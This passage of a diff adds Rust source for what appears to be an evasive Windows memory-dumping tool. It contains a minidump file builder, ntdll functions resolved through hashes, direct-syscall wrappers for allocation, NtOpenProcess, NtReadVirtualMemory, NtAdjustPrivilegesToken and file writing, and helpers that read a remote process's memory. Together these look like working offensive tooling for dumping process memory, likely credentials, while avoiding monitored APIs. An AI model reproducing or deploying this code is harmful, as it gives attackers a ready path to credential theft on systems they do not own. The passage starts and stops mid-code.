systeminfo_stream.extend(&platform_id.to_le_bytes()); // Platform ID.
for word in csd_version {
systeminfo_stream.extend(&word.to_le_bytes()); // CSDVersion string.
}
let mut new_vec = Vec::new();
new_vec.resize(56 - systeminfo_stream.len(), 0); // Padding to 56 bytes.
systeminfo_stream.extend(&new_vec);
// **ModuleListStream**: Contains details of all modules (DLLs) loaded in the process.
let mut modulelist_stream = Vec::new();
modulelist_stream.extend(&(number_modules as u32).to_le_bytes()); // Number of modules.
// Pointer to the location of the full module paths in the file.
let mut pointer_index: u64 =
0x7c + modulelist_stream.len() as u64 + (108 * number_modules) as u64;
// For each module, add its base address, region size, and path pointer.
for module in &module_info_list {
modulelist_stream.extend(&(module.base_address as u64).to_le_bytes());
modulelist_stream.extend(&(module.region_size as u64).to_le_bytes());
modulelist_stream.extend(&[0; 4]); // Padding.
modulelist_stream.extend(&pointer_index.to_le_bytes()); // Pointer to the module's full path.
pointer_index += ((module.full_dll_name.len() * 2) + 8) as u64; // Update pointer for the next module's path.
let mut new_vec = Vec::new();
new_vec.resize(108 - (8 + 8 + 4 + 8), 0); // Padding to 108 bytes per module entry.
modulelist_stream.extend(&new_vec);
}
// Add the full path names for each module, encoded in UTF-16.
for module in &module_info_list {
let unicode_bytearr: Vec<u8> = module
.full_dll_name
.encode_utf16()
.flat_map(|c| c.to_le_bytes())
.collect();
modulelist_stream.extend(&((module.full_dll_name.len() * 2) as u32).to_le_bytes()); // Path length.
modulelist_stream.extend(unicode_bytearr.clone()); // Encoded path.
let mut new_vec = Vec::new();
new_vec.resize(4, 0); // Padding.
modulelist_stream.extend(&new_vec);
}
// **Memory64ListStream**: Contains memory region information.
let mut memory64list_stream: Vec<u8> = Vec::new();
memory64list_stream.extend(&(memory64list.len() as u64).to_le_bytes()); // Number of memory regions.
memory64list_stream.extend(&(offset_memory_regions as u64).to_le_bytes()); // Offset to memory dump data.
for mem64 in &memory64list {
memory64list_stream.extend(&(mem64.base_address as u64).to_le_bytes()); // Memory region base address.
memory64list_stream.extend(&(mem64.region_size as u64).to_le_bytes()); // Memory region size.
}
// **Final dump file**: Concatenate all sections to create the final memory dump file.
let mut dump_file = Vec::new();
dump_file.extend(header); // Add header.
dump_file.extend(stream_directory); // Add stream directory.
dump_file.extend(systeminfo_stream); // Add system info stream.
dump_file.extend(modulelist_stream); // Add module list stream.
dump_file.extend(memory64list_stream); // Add memory64 list stream.
dump_file.extend(regions_memdump); // Add raw memory dump.
dump_file // Return the final memory dump file as a byte vector.
}
+152
View File
@@ -0,0 +1,152 @@
use core::alloc::{GlobalAlloc, Layout};
use core::cell::UnsafeCell;
use core::ffi::c_void;
use core::ptr::null_mut;
use core::sync::atomic::Ordering;
use core::sync::atomic::{AtomicBool, AtomicIsize};
use crate::common::ldrapi::{ldr_function, ldr_module};
use crate::run_syscall;
use super::syscall::NtSyscall;
use super::syscall_gate::get_ssn;
// Atomic flag contains the last status of an NT syscall.
pub static NT_ALLOCATOR_STATUS: AtomicIsize = AtomicIsize::new(0);
// Atomic flag to ensure initialization happens only once.
static INIT: AtomicBool = AtomicBool::new(false);
// Static variables to hold the configuration and syscall information, wrapped in UnsafeCell for interior mutability.
static mut NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> =
UnsafeCell::new(None);
static mut NT_FREE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> = UnsafeCell::new(None);
/// Unsafe function to perform the initialization of the static variables.
/// This includes locating and storing the addresses and syscall numbers for `NtAllocateVirtualMemory` and `NtFreeVirtualMemory`.
pub unsafe fn initialize() {
// Check if initialization has already occurred.
if !INIT.load(Ordering::Acquire) {
// Get the address of ntdll module in memory.
let ntdll_address = ldr_module(0x1edab0ed);
// Initialize the syscall for NtAllocateVirtualMemory.
let alloc_syscall_address = ldr_function(ntdll_address, 0xf783b8ec);
let alloc_syscall = NtSyscall {
address: alloc_syscall_address,
number: get_ssn(alloc_syscall_address),
hash: 0xf783b8ec,
};
*NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL.get() = Some(alloc_syscall);
// Initialize the syscall for NtFreeVirtualMemory.
let free_syscall_address = ldr_function(ntdll_address, 0x2802c609);
let free_syscall = NtSyscall {
address: free_syscall_address,
number: get_ssn(free_syscall_address),
hash: 0x2802c609,
};
*NT_FREE_VIRTUAL_MEMORY_SYSCALL.get() = Some(free_syscall);
// Set the initialization flag to true.
INIT.store(true, Ordering::Release);
}
}
/// Function to ensure that initialization is performed if it hasn't been already.
fn ensure_initialized() {
unsafe {
if !INIT.load(Ordering::Acquire) {
initialize();
}
}
}
/// Function to get a reference to the NtAllocateVirtualMemory syscall, ensuring initialization first.
fn get_nt_allocate_virtual_memory_syscall() -> &'static NtSyscall {
ensure_initialized();
unsafe {
NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL
.get()
.as_ref()
.unwrap()
.as_ref()
.unwrap()
}
}
/// Function to get a reference to the NtFreeVirtualMemory syscall, ensuring initialization first.
fn get_nt_free_virtual_memory_syscall() -> &'static NtSyscall {
ensure_initialized();
unsafe {
NT_FREE_VIRTUAL_MEMORY_SYSCALL
.get()
.as_ref()
.unwrap()
.as_ref()
.unwrap()
}
}
/// Custom allocator using NT system calls.
pub struct NtVirtualAlloc;
unsafe impl GlobalAlloc for NtVirtualAlloc {
/// Allocates memory as described by the given `layout` using NT system calls.
///
/// This function uses the `NtAllocateVirtualMemory` system call to allocate memory.
/// The memory is allocated with `PAGE_READWRITE` protection, which allows both
/// reading and writing. This is appropriate for most use cases like vectors and strings.
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
// Pointer to the allocated memory.
let mut p_address: *mut c_void = null_mut();
// Size of the memory to allocate.
let region_size = layout.size();
// Handle to the current process (-1).
let h_process: *mut u8 = -1isize as _;
let alloc_syscall = get_nt_allocate_virtual_memory_syscall();
let ntstatus = run_syscall!(
(*alloc_syscall).number,
(*alloc_syscall).address as usize,
h_process,
&mut p_address,
0,
&mut (region_size as usize) as *mut usize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x04 // PAGE_READWRITE
);
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
// If the allocation fails, return null; otherwise, return the allocated address.
p_address as *mut u8
}
/// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls.
///
/// This function uses the `NtFreeVirtualMemory` system call to deallocate memory.
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
// Size of the memory to deallocate.
let mut region_size = layout.size();
// Handle to the current process (-1).
let h_process: *mut u8 = -1isize as _;
let free_syscall = get_nt_free_virtual_memory_syscall();
let ntstatus = run_syscall!(
(*free_syscall).number,
(*free_syscall).address as usize,
h_process,
&mut (ptr as *mut c_void),
&mut region_size,
0x8000 // MEM_RELEASE
);
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
}
}
+515
View File
@@ -0,0 +1,515 @@
use core::{
arch::asm,
ffi::{c_long, c_ulong, c_void},
ptr,
};
use crate::common::utils::string_length_w;
pub const PROCESS_QUERY_INFORMATION: AccessMask = 0x0400;
pub const PROCESS_VM_READ: AccessMask = 0x0010;
pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ"
pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0"
// Definition of LIST_ENTRY
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ListEntry {
pub flink: *mut ListEntry,
pub blink: *mut ListEntry,
}
// Definition of UNICODE_STRING
#[repr(C)]
pub struct UnicodeString {
pub length: u16,
pub maximum_length: u16,
pub buffer: *mut u16,
}
impl UnicodeString {
pub fn new() -> Self {
UnicodeString {
length: 0,
maximum_length: 0,
buffer: ptr::null_mut(),
}
}
// RtlInitUnicodeString
pub fn init(&mut self, source_string: *const u16) {
if !source_string.is_null() {
let dest_size = string_length_w(source_string) * 2;
self.length = dest_size as u16;
self.maximum_length = (dest_size + 2) as u16;
self.buffer = source_string as *mut u16;
} else {
self.length = 0;
self.maximum_length = 0;
self.buffer = ptr::null_mut();
}
}
}
pub type ULONG = c_ulong;
pub type HANDLE = *mut c_void;
pub type AccessMask = ULONG;
#[repr(C)]
pub struct ObjectAttributes {
pub length: ULONG,
pub root_directory: HANDLE,
pub object_name: *mut UnicodeString,
pub attributes: ULONG,
pub security_descriptor: *mut c_void,
pub security_quality_of_service: *mut c_void,
}
impl ObjectAttributes {
pub fn new() -> Self {
ObjectAttributes {
length: 0,
root_directory: ptr::null_mut(),
object_name: ptr::null_mut(),
attributes: 0,
security_descriptor: ptr::null_mut(),
security_quality_of_service: ptr::null_mut(),
}
}
//InitializeObjectAttributes
pub fn initialize(
p: &mut ObjectAttributes,
n: *mut UnicodeString,
a: ULONG,
r: HANDLE,
s: *mut c_void,
) {
p.length = core::mem::size_of::<ObjectAttributes>() as ULONG;
p.root_directory = r;
p.attributes = a;
p.object_name = n;
p.security_descriptor = s;
p.security_quality_of_service = ptr::null_mut();
}
}
#[repr(C)]
pub struct MemoryBasicInformation {
pub base_address: *mut c_void,
pub allocation_base: *mut c_void,
pub allocation_protect: u32,
pub region_size: u64,
pub state: u32,
pub protect: u32,
pub r#type: u32,
}
#[repr(C)]
pub struct ProcessBasicInformation {
pub exit_status: i32,
pub peb_base_address: *mut c_void,
pub affinity_mask: usize,
pub base_priority: i32,
pub unique_process_id: *mut c_void,
pub inherited_from_unique_process_id: *mut c_void,
}
pub const MEM_COMMIT: u32 = 0x1000;
pub const PAGE_NOACCESS: u32 = 0x01;
#[repr(C)]
#[derive(Clone, Copy)]
pub struct LargeInteger {
pub low_part: u32,
pub high_part: i32,
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct SectionPointer {
pub section_pointer: *mut c_void,
pub check_sum: c_ulong,
}
#[repr(C)]
pub union HashLinksOrSectionPointer {
pub hash_links: ListEntry,
pub section_pointer: SectionPointer,
}
#[repr(C)]
pub union TimeDateStampOrLoadedImports {
pub time_date_stamp: c_ulong,
pub loaded_imports: *mut c_void,
}
#[repr(C)]
pub struct LoaderDataTableEntry {
pub in_load_order_links: ListEntry,
pub in_memory_order_links: ListEntry,
pub in_initialization_order_links: ListEntry,
pub dll_base: *mut c_void,
pub entry_point: *mut c_void,
pub size_of_image: c_ulong,
pub full_dll_name: UnicodeString,
pub base_dll_name: UnicodeString,
pub flags: c_ulong,
pub load_count: i16,
pub tls_index: i16,
pub hash_links_or_section_pointer: HashLinksOrSectionPointer,
pub time_date_stamp_or_loaded_imports: TimeDateStampOrLoadedImports,
pub entry_point_activation_context: *mut c_void,
pub patch_information: *mut c_void,
pub forwarder_links: ListEntry,
pub service_tag_links: ListEntry,
pub static_links: ListEntry,
}
#[repr(C)]
pub struct PebLoaderData {
pub length: c_ulong,
pub initialized: c_ulong,
pub ss_handle: *mut c_void,
pub in_load_order_module_list: ListEntry,
pub in_memory_order_module_list: ListEntry,
pub in_initialization_order_module_list: ListEntry,
}
#[repr(C)]
pub struct PEB {
pub inherited_address_space: bool,
pub read_image_file_exec_options: bool,
pub being_debugged: bool,
pub spare: bool,
pub mutant: *mut c_void,
pub image_base: *mut c_void,
pub loader_data: *const PebLoaderData,
pub process_parameters: *const RtlUserProcessParameters,
pub sub_system_data: *mut c_void,
pub process_heap: *mut c_void,
pub fast_peb_lock: *mut c_void,
pub fast_peb_lock_routine: *mut c_void,
pub fast_peb_unlock_routine: *mut c_void,
pub environment_update_count: c_ulong,
pub kernel_callback_table: *const *mut c_void,
pub event_log_section: *mut c_void,
pub event_log: *mut c_void,
pub free_list: *mut c_void,
pub tls_expansion_counter: c_ulong,
pub tls_bitmap: *mut c_void,
pub tls_bitmap_bits: [c_ulong; 2],
pub read_only_shared_memory_base: *mut c_void,
pub read_only_shared_memory_heap: *mut c_void,
pub read_only_static_server_data: *const *mut c_void,
pub ansi_code_page_data: *mut c_void,
pub oem_code_page_data: *mut c_void,
pub unicode_case_table_data: *mut c_void,
pub number_of_processors: c_ulong,
pub nt_global_flag: c_ulong,
pub spare_2: [u8; 4],
pub critical_section_timeout: i64,
pub heap_segment_reserve: c_ulong,
pub heap_segment_commit: c_ulong,
pub heap_de_commit_total_free_threshold: c_ulong,
pub heap_de_commit_free_block_threshold: c_ulong,
pub number_of_heaps: c_ulong,
pub maximum_number_of_heaps: c_ulong,
pub process_heaps: *const *const *mut c_void,
pub gdi_shared_handle_table: *mut c_void,
pub process_starter_helper: *mut c_void,
pub gdi_dc_attribute_list: *mut c_void,
pub loader_lock: *mut c_void,
pub os_major_version: c_ulong,
pub os_minor_version: c_ulong,
pub os_build_number: c_ulong,
pub os_platform_id: c_ulong,
pub image_sub_system: c_ulong,
pub image_sub_system_major_version: c_ulong,
pub image_sub_system_minor_version: c_ulong,
pub gdi_handle_buffer: [c_ulong; 22],
pub post_process_init_routine: c_ulong,
pub tls_expansion_bitmap: c_ulong,
pub tls_expansion_bitmap_bits: [u8; 80],
pub session_id: c_ulong,
}
#[repr(C)]
pub struct RtlUserProcessParameters {
pub maximum_length: u32,
pub length: u32,
pub flags: u32,
pub debug_flags: u32,
pub console_handle: *mut c_void,
pub console_flags: u32,
pub standard_input: *mut c_void,
pub standard_output: *mut c_void,
pub standard_error: *mut c_void,
pub current_directory_path: UnicodeString,
pub current_directory_handle: *mut c_void,
pub dll_path: UnicodeString,
pub image_path_name: UnicodeString,
pub command_line: UnicodeString,
pub environment: *mut c_void,
pub starting_x: u32,
pub starting_y: u32,
pub count_x: u32,
pub count_y: u32,
pub count_chars_x: u32,
pub count_chars_y: u32,
pub fill_attribute: u32,
pub window_flags: u32,
pub show_window_flags: u32,
pub window_title: UnicodeString,
pub desktop_info: UnicodeString,
pub shell_info: UnicodeString,
pub runtime_data: UnicodeString,
pub current_directories: [UnicodeString; 32],
pub environment_size: u32,
pub environment_version: u32,
pub package_dependency_data: *mut c_void,
pub process_group_id: u32,
pub loader_threads: u32,
}
#[repr(C)]
pub struct ImageDosHeader {
pub e_magic: u16,
pub e_cblp: u16,
pub e_cp: u16,
pub e_crlc: u16,
pub e_cparhdr: u16,
pub e_minalloc: u16,
pub e_maxalloc: u16,
pub e_ss: u16,
pub e_sp: u16,
pub e_csum: u16,
pub e_ip: u16,
pub e_cs: u16,
pub e_lfarlc: u16,
pub e_ovno: u16,
pub e_res: [u16; 4],
pub e_oemid: u16,
pub e_oeminfo: u16,
pub e_res2: [u16; 10],
pub e_lfanew: i32,
}
#[repr(C)]
pub struct ImageFileHeader {
pub machine: u16,
pub number_of_sections: u16,
pub time_date_stamp: u32,
pub pointer_to_symbol_table: u32,
pub number_of_symbols: u32,
pub size_of_optional_header: u16,
pub characteristics: u16,
}
#[repr(C)]
pub struct ImageDataDirectory {
pub virtual_address: u32,
pub size: u32,
}
#[repr(C)]
pub struct ImageExportDirectory {
pub characteristics: u32,
pub time_date_stamp: u32,
pub major_version: u16,
pub minor_version: u16,
pub name: u32,
pub base: u32,
pub number_of_functions: u32,
pub number_of_names: u32,
pub address_of_functions: u32,
pub address_of_names: u32,
pub address_of_name_ordinals: u32,
}
#[cfg(target_arch = "x86_64")]
#[repr(C)]
pub struct ImageNtHeaders {
pub signature: u32,
pub file_header: ImageFileHeader,
pub optional_header: ImageOptionalHeader64,
}
#[cfg(target_arch = "x86_64")]
#[repr(C)]
pub struct ImageOptionalHeader64 {
pub magic: u16,
pub major_linker_version: u8,
pub minor_linker_version: u8,
pub size_of_code: u32,
pub size_of_initialized_data: u32,
pub size_of_uninitialized_data: u32,
pub address_of_entry_point: u32,
pub base_of_code: u32,
pub image_base: u64,
pub section_alignment: u32,
pub file_alignment: u32,
pub major_operating_system_version: u16,
pub minor_operating_system_version: u16,
pub major_image_version: u16,
pub minor_image_version: u16,
pub major_subsystem_version: u16,
pub minor_subsystem_version: u16,
pub win32_version_value: u32,
pub size_of_image: u32,
pub size_of_headers: u32,
pub check_sum: u32,
pub subsystem: u16,
pub dll_characteristics: u16,
pub size_of_stack_reserve: u64,
pub size_of_stack_commit: u64,
pub size_of_heap_reserve: u64,
pub size_of_heap_commit: u64,
pub loader_flags: u32,
pub number_of_rva_and_sizes: u32,
pub data_directory: [ImageDataDirectory; 16],
}
#[cfg(target_arch = "x86_64")]
pub fn find_peb() -> *mut PEB {
let peb_ptr: *mut PEB;
unsafe {
asm!(
"mov {}, gs:[0x60]",
out(reg) peb_ptr
);
}
peb_ptr
}
#[repr(C)]
pub struct OSVersionInfo {
pub dw_os_version_info_size: u32,
pub dw_major_version: u32,
pub dw_minor_version: u32,
pub dw_build_number: u32,
pub dw_platform_id: u32,
pub sz_csd_version: [u16; 128], // WCHAR is usually represented as u16 in Rust
pub dw_os_version_info_size_2: u32,
pub dw_major_version_2: u32,
pub dw_minor_version_2: u32,
pub dw_build_number_2: u32,
pub dw_platform_id_2: u32,
}
impl OSVersionInfo {
pub fn new() -> Self {
OSVersionInfo {
dw_os_version_info_size: core::mem::size_of::<OSVersionInfo>() as u32,
dw_major_version: 0,
dw_minor_version: 0,
dw_build_number: 0,
dw_platform_id: 0,
sz_csd_version: [0; 128],
dw_os_version_info_size_2: core::mem::size_of::<OSVersionInfo>() as u32,
dw_major_version_2: 0,
dw_minor_version_2: 0,
dw_build_number_2: 0,
dw_platform_id_2: 0,
}
}
}
#[allow(dead_code)]
#[repr(C)]
pub union IO_STATUS_BLOCK_u {
pub status: i32,
pub pointer: *mut c_void,
}
#[allow(dead_code)]
#[repr(C)]
pub struct IoStatusBlock {
pub u: IO_STATUS_BLOCK_u,
pub information: u32,
}
#[repr(C)]
pub struct LUID {
pub low_part: u32,
pub high_part: i32,
}
#[repr(C)]
pub struct TokenPrivileges {
pub privilege_count: u32,
pub luid: LUID,
pub attributes: u32,
}
#[repr(C)]
pub struct SystemProcessInformation {
pub next_entry_offset: u32,
pub number_of_threads: u32,
pub working_set_private_size: LargeInteger,
pub hard_fault_count: u32,
pub number_of_threads_high_watermark: u32,
pub cycle_time: u64,
pub create_time: LargeInteger,
pub user_time: LargeInteger,
pub kernel_time: LargeInteger,
pub image_name: UnicodeString,
pub base_priority: i32,
pub unique_process_id: *mut c_void,
pub inherited_from_unique_process_id: *mut c_void,
pub handle_count: u32,
pub session_id: u32,
pub unique_process_key: usize,
pub peak_virtual_size: usize,
pub virtual_size: usize,
pub page_fault_count: u32,
pub peak_working_set_size: usize,
pub working_set_size: usize,
pub quota_peak_paged_pool_usage: usize,
pub quota_paged_pool_usage: usize,
pub quota_peak_non_paged_pool_usage: usize,
pub quota_non_paged_pool_usage: usize,
pub pagefile_usage: usize,
pub peak_pagefile_usage: usize,
pub private_page_count: usize,
pub read_operation_count: LargeInteger,
pub write_operation_count: LargeInteger,
pub other_operation_count: LargeInteger,
pub read_transfer_count: LargeInteger,
pub write_transfer_count: LargeInteger,
pub other_transfer_count: LargeInteger,
pub threads: [SystemThreadInformation; 1],
}
#[repr(C)]
pub struct SystemThreadInformation {
pub kernel_time: LargeInteger,
pub user_time: LargeInteger,
pub create_time: LargeInteger,
pub wait_time: u32,
pub start_address: *mut c_void,
pub client_id: ClientId,
pub priority: c_long,
pub base_priority: c_long,
pub context_switches: u32,
pub thread_state: u32,
pub wait_reason: u32,
}
#[repr(C)]
pub struct ClientId {
pub unique_process: *mut c_void,
pub unique_thread: *mut c_void,
}
impl ClientId {
pub fn new() -> Self {
ClientId {
unique_process: core::ptr::null_mut(),
unique_thread: core::ptr::null_mut(),
}
}
}
pub const STATUS_INFO_LENGTH_MISMATCH: i32 = 0xC0000004u32 as i32;
pub const OBJ_CASE_INSENSITIVE: u32 = 0x40;
+150
View File
@@ -0,0 +1,150 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use crate::debug_println;
use alloc::vec::Vec;
use super::{def::IoStatusBlock, g_instance::instance};
use super::{
def::{AccessMask, LargeInteger, ObjectAttributes, UnicodeString},
utils::{build_nt_path, get_current_directory},
};
pub const SYNCHRONIZE: AccessMask = 0x00100000;
pub const STANDARD_RIGHTS_WRITE: AccessMask = 0x00020000;
pub const FILE_WRITE_DATA: AccessMask = 0x00000002;
pub const FILE_WRITE_ATTRIBUTES: AccessMask = 0x00000100;
pub const FILE_WRITE_EA: AccessMask = 0x00000010;
pub const FILE_APPEND_DATA: AccessMask = 0x00000004;
pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE
| FILE_WRITE_DATA
| FILE_WRITE_ATTRIBUTES
| FILE_WRITE_EA
| FILE_APPEND_DATA
| SYNCHRONIZE;
pub const FILE_OVERWRITE_IF: u32 = 0x00000005;
pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020;
pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040;
pub const FILE_SHARE_READ: AccessMask = 0x00000001;
pub const FILE_SHARE_WRITE: AccessMask = 0x00000002;
pub fn save_file(dump_file_bytes: Vec<u8>, dump_file_name: &str) -> i32 {
use core::{ffi::c_void, ptr::null_mut};
unsafe {
let mut handle: *mut c_void = null_mut();
// Retrieve current directory and handle failure
let cwd = get_current_directory();
if cwd.is_empty() {
debug_println!("[-] Failed to retrieve current working directory");
return -1;
}
let mut buffer = [0u8; 1024];
// Build NT path and handle failure
let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer);
if file_name.is_empty() {
debug_println!("[-] Failed to build NT path for file");
return -1;
}
let file_path: Vec<u16> = {
let mut vec = Vec::with_capacity(file_name.len() + 1);
for c in file_name.encode_utf16() {
vec.push(c);
}
vec.push(0);
vec
};
// Initialize the Unicode string for the registry value name
let mut unicode_string = UnicodeString::new();
unicode_string.init(file_path.as_ptr());
let mut object_attributes = ObjectAttributes::new();
ObjectAttributes::initialize(
&mut object_attributes,
&mut unicode_string, // NT path name
0, // Flags for case-insensitivity and inheritance
null_mut(), // No root directory
null_mut(), // No security descriptor
);
let mut io_status_block: IoStatusBlock = core::mem::zeroed();
let allocation_size: *mut LargeInteger = null_mut();
let desired_access: AccessMask = FILE_GENERIC_WRITE | SYNCHRONIZE;
let share_access: AccessMask = FILE_SHARE_READ | FILE_SHARE_WRITE;
let create_options: AccessMask = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT;
let create_disposition: AccessMask = FILE_OVERWRITE_IF;
// Create the file using NtCreateFile
let status: i32 = instance().ntdll.nt_create_file.run(
&mut handle,
desired_access,
&mut object_attributes,
&mut io_status_block,
allocation_size,
0,
share_access,
create_disposition,
create_options,
null_mut(),
0,
);
if status < 0 {
debug_println!(
"[-] Failed to create file with status: NTSTATUS: 0x{:X}",
status
);
return status;
}
// Initialize IO_STATUS_BLOCK for NtWriteFile
let mut io_status_block_write: IoStatusBlock = core::mem::zeroed();
// Write the file content using NtWriteFile
let status_write = instance().ntdll.nt_write_file.run(
handle,
null_mut(),
null_mut(),
null_mut(),
&mut io_status_block_write,
dump_file_bytes.as_ptr() as *mut c_void,
dump_file_bytes.len() as u32,
null_mut(),
null_mut(),
);
if status_write < 0 {
debug_println!(
"[-] Failed to write to file with status: NTSTATUS: 0x{:X}",
status_write
);
instance().ntdll.nt_close.run(handle);
} else {
debug_println!(
"[+] File {} ({}) created successfully.",
file_name,
dump_file_bytes.len()
);
}
// Close the file handle
instance().ntdll.nt_close.run(handle);
status_write
}
}
+157
View File
@@ -0,0 +1,157 @@
use core::{
cell::UnsafeCell,
sync::atomic::{AtomicBool, Ordering},
};
use super::syscall_gate::get_ssn;
use crate::{
common::ldrapi::{ldr_function, ldr_module},
ntapi::syscall::NtDll,
};
#[repr(C)]
pub struct Instance {
pub ntdll: NtDll, // NtDll API functions
}
impl Instance {
pub fn new() -> Self {
Instance {
ntdll: NtDll::new(),
}
}
}
static INIT_INSTANCE: AtomicBool = AtomicBool::new(false);
pub static mut INSTANCE: UnsafeCell<Option<Instance>> = UnsafeCell::new(None);
/// Retrieves a reference to the global instance.
pub unsafe fn instance() -> &'static Instance {
ensure_initialized();
return INSTANCE.get().as_ref().unwrap().as_ref().unwrap();
}
/// Function to ensure that initialization is performed if it hasn't been already.
fn ensure_initialized() {
unsafe {
if !INIT_INSTANCE.load(Ordering::Acquire) {
init_native();
}
}
}
unsafe fn init_native() {
if !INIT_INSTANCE.load(Ordering::Acquire) {
let mut instance = Instance::new();
const NTDLL_HASH: u32 = 0x1edab0ed;
instance.ntdll.module_base = ldr_module(NTDLL_HASH);
// Resolve LdrLoadDll
let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43);
instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr);
// NtAllocateVirtualMemory
instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_allocate_virtual_memory.syscall.hash,
);
instance.ntdll.nt_allocate_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address);
// NtFreeVirtualMemory
instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_free_virtual_memory.syscall.hash,
);
instance.ntdll.nt_free_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address);
// NtReadVirtualMemory
instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_read_virtual_memory.syscall.hash,
);
instance.ntdll.nt_read_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address);
// NtQueryVirtualMemory
instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_virtual_memory.syscall.hash,
);
instance.ntdll.nt_query_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address);
// NtOpenProcess
instance.ntdll.nt_open_process.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_open_process.syscall.hash,
);
instance.ntdll.nt_open_process.syscall.number =
get_ssn(instance.ntdll.nt_open_process.syscall.address);
// NtQuerySystemInformation
instance.ntdll.nt_query_system_information.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_system_information.syscall.hash,
);
instance.ntdll.nt_query_system_information.syscall.number =
get_ssn(instance.ntdll.nt_query_system_information.syscall.address);
// NtQueryInformationProcess
instance.ntdll.nt_query_information_process.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_information_process.syscall.hash,
);
instance.ntdll.nt_query_information_process.syscall.number =
get_ssn(instance.ntdll.nt_query_information_process.syscall.address);
// NtCreateFile
instance.ntdll.nt_create_file.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_create_file.syscall.hash,
);
instance.ntdll.nt_create_file.syscall.number =
get_ssn(instance.ntdll.nt_create_file.syscall.address);
// NtWriteFile
instance.ntdll.nt_write_file.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_write_file.syscall.hash,
);
instance.ntdll.nt_write_file.syscall.number =
get_ssn(instance.ntdll.nt_write_file.syscall.address);
// NtClose
instance.ntdll.nt_close.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_close.syscall.hash,
);
instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address);
// NtOpenProcessToken
instance.ntdll.nt_open_process_token.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_open_process_token.syscall.hash,
);
instance.ntdll.nt_open_process_token.syscall.number =
get_ssn(instance.ntdll.nt_open_process_token.syscall.address);
// NtAdjustPrivilegesToken
instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_adjust_privileges_token.syscall.hash,
);
instance.ntdll.nt_adjust_privileges_token.syscall.number =
get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address);
*INSTANCE.get() = Some(instance);
// Set the initialization flag to true.
INIT_INSTANCE.store(true, Ordering::Release);
}
}
+249
View File
@@ -0,0 +1,249 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::string::String;
use alloc::vec;
use alloc::vec::Vec;
use core::ffi::c_void;
use crate::{
common::utils::dbj2_hash,
debug_println,
mdfile::ModuleInfo,
ntapi::def::{MemoryBasicInformation, ProcessBasicInformation},
};
use super::g_instance::instance;
/// Reads memory from a remote process into a buffer.
///
/// Takes a process handle, an address, and the size of the memory to read.
/// Returns a `Vec<u8>` containing the memory contents, or `None` if reading fails.
pub fn read_memory(
process_handle: *mut c_void,
address: *mut c_void,
size: usize,
) -> Option<Vec<u8>> {
// Allocate a buffer for the memory to be read.
let mut buffer = vec![0u8; size];
let mut bytes_read: usize = 0;
// Perform the memory read operation using the NT API.
let result = unsafe {
instance().ntdll.nt_read_virtual_memory.run(
process_handle,
address,
buffer.as_mut_ptr() as *mut c_void,
size,
&mut bytes_read,
)
};
// Return the buffer if successful, otherwise return None.
if result == 0 && bytes_read > 0 {
Some(buffer)
} else {
None
}
}
/// Queries information about a memory region in a remote process.
///
/// Returns a `MemoryBasicInformation` struct containing details about the memory region,
/// or `None` if querying fails.
pub fn query_memory_info(
process_handle: *mut c_void,
base_address: *mut c_void,
) -> Option<MemoryBasicInformation> {
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
// Query memory information for the given address in the remote process.
let result = unsafe {
instance().ntdll.nt_query_virtual_memory.run(
process_handle,
base_address,
0,
&mut mem_info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInformation>() as usize,
core::ptr::null_mut(),
)
};
// Return memory information if successful, otherwise return None.
if result == 0 {
Some(mem_info)
} else {
None
}
}
/// Reads a wide string (UTF-16) from a remote process's memory.
///
